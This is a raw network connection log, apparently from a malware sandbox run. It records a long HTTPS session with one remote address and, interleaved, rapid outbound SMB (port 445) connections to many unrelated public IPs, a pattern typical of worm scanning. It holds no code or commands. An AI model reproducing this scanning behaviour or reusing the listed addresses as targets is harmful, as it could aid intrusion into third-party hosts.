Jul 20, 2022 15:44:28.266706944 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.266731024 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.266802073 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.268268108 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.268322945 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.268420935 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.268448114 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.268474102 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.268517017 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.269313097 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.269396067 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.269438982 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.269467115 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.269490957 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.269522905 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.270015001 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.270140886 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.271291971 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.271363974 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.271416903 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.271444082 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.271470070 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.271516085 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.273371935 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.273473024 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.273524046 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.273556948 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.273586988 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.273612022 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.273663044 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.273746014 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.273884058 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.273943901 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.273983955 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.274008989 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.274039030 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.274060965 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.274486065 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.274553061 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.274625063 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.274646997 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.274688959 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.274720907 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.275412083 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.275561094 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.276022911 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.276073933 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.276149035 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.276168108 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.276196957 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.276226997 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.276284933 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.276330948 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.276423931 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.276437998 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.276511908 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.276949883 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.277065039 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.277713060 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.277762890 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.277838945 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.277854919 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.277884007 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.277920961 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.278263092 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.278316021 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.278374910 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.278393030 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.278433084 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.278434038 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.278467894 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.278517962 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.400388002 CEST	51063	445	192.168.2.7	202.208.39.136
Jul 20, 2022 15:44:28.479666948 CEST	51078	445	192.168.2.7	110.100.186.7
Jul 20, 2022 15:44:28.484513044 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.484625101 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.508248091 CEST	51079	445	192.168.2.7	31.191.9.27
Jul 20, 2022 15:44:28.508300066 CEST	51080	445	192.168.2.7	209.175.144.65
Jul 20, 2022 15:44:28.587919950 CEST	51074	445	192.168.2.7	153.250.97.251
Jul 20, 2022 15:44:28.588932037 CEST	51081	445	192.168.2.7	186.224.232.3
Jul 20, 2022 15:44:28.589683056 CEST	51082	445	192.168.2.7	209.176.150.3
Jul 20, 2022 15:44:28.590404034 CEST	51083	445	192.168.2.7	174.224.30.85
Jul 20, 2022 15:44:28.591140985 CEST	51084	445	192.168.2.7	155.212.5.226
Jul 20, 2022 15:44:28.592495918 CEST	51086	445	192.168.2.7	53.81.153.219
Jul 20, 2022 15:44:28.598114967 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598145962 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598180056 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598210096 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598403931 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598423958 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598448038 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598503113 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598524094 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598592043 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598614931 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598651886 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598671913 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598701954 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598717928 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598778963 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598794937 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598819017 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598853111 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.598870993 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598898888 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.598917007 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.599049091 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.599071980 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.599097013 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.599112034 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.599231005 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.599248886 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.599314928 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.599335909 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.599385023 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.599422932 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.599505901 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.599538088 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.600579023 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.600599051 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.600630999 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.600805998 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.600955963 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.600971937 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601000071 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601022959 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601200104 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.601217031 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601299047 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.601314068 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601344109 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601421118 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.601440907 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601521969 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.601541996 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.601615906 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.601697922 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.601771116 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.602312088 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.602715015 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.605096102 CEST	51087	445	192.168.2.7	153.199.174.60
Jul 20, 2022 15:44:28.606829882 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.606867075 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.606890917 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.606935024 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.606944084 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.606966019 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.606980085 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607018948 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607057095 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607084036 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607156992 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607177973 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607208967 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607233047 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607251883 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607407093 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607423067 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607494116 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607512951 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607595921 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607614040 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607681036 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607692957 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607718945 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607758045 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607780933 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607834101 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607851028 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607886076 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.607907057 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607960939 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.607984066 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608000040 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608006001 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608036041 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608059883 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608078957 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608110905 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608130932 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608139038 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608191013 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608210087 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608231068 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608237982 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608284950 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608299017 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608321905 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608326912 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608355045 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608366966 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608383894 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608411074 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608444929 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608474970 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608484983 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608501911 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608556032 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608597040 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608603001 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608620882 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608688116 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608735085 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608771086 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608814955 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608835936 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608850956 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608855963 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608886957 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608907938 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608927965 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608947992 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.608968973 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.608978033 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609040022 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609055042 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609075069 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609080076 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609101057 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609127045 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609143019 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609168053 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609194994 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609194994 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609253883 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609271049 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609287977 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609293938 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609340906 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609360933 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609390020 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609390974 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609431028 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609443903 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609462976 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609472036 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609532118 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609544039 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609555006 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609556913 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609608889 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609662056 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609757900 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609781981 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609791994 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609795094 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609797955 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609838009 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609850883 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609889030 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609926939 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.609944105 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.609977961 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610060930 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610069036 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610073090 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610084057 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610162973 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610169888 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610214949 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610219002 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610250950 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610280991 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610326052 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610410929 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610452890 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610511065 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610526085 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610567093 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610577106 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610606909 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610622883 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610666990 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610677004 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610704899 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610723972 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610743999 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610764027 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610778093 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610793114 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610826969 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610848904 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610868931 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610872984 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610896111 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610958099 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.610966921 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.610980034 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611037970 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611059904 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611078024 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611099958 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611124992 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611160994 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611166954 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611223936 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611238003 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611260891 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611268997 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611287117 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611299992 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611315966 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611361027 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611371040 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611391068 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611423016 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611442089 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611462116 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611489058 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611494064 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611546040 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611563921 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611584902 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611601114 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611624002 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611638069 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611655951 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611679077 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611737013 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611742973 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611768007 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611782074 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611799002 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611830950 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611872911 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611891985 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611913919 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611941099 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.611982107 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.611991882 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612015963 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612042904 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612054110 CEST	443	51076	80.67.82.211	192.168.2.7
